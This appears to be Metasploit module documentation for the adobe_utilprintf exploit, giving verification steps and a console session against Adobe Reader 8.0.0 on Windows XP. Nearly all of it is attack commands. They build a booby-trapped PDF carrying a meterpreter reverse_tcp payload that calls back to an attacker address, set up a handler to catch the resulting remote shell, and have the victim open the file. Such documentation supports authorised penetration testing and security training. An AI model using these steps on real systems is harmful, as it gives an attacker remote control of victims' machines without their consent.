Verification Steps

1. Install application on the target machine
2. Start msfconsole
3. Do: use exploit/windows/fileformat/adobe_utilprintf
4. Do: set payload [windows/meterpreter/reverse_tcp]
5. Do: set LHOST [IP]
6. Do: exploit
7. Do: use exploit/multi/handler
8. Do: set LHOST [IP]
9. Do: exploit
10. Do: Open PDF on target machine with vulnerable software

Scenarios

Adobe Reader 8.0.0 on Windows XP (5.1 Build 2600, Service Pack 3)

msf > use exploit/windows/fileformat/adobe_utilprintf
msf exploit(windows/fileformat/adobe_utilprintf) > set payload windows/meterpreter/reverse_tcp
  payload => windows/meterpreter/reverse_tcp
msf exploit(windows/fileformat/adobe_utilprintf) > set LHOST 192.168.1.3
  LHOST => 192.168.1.3
msf exploit(windows/fileformat/adobe_utilprintf) > set FILENAME utilprintf.pdf
  FILENAME => utilprintf.pdf
msf exploit(windows/fileformat/adobe_utilprintf) > exploit
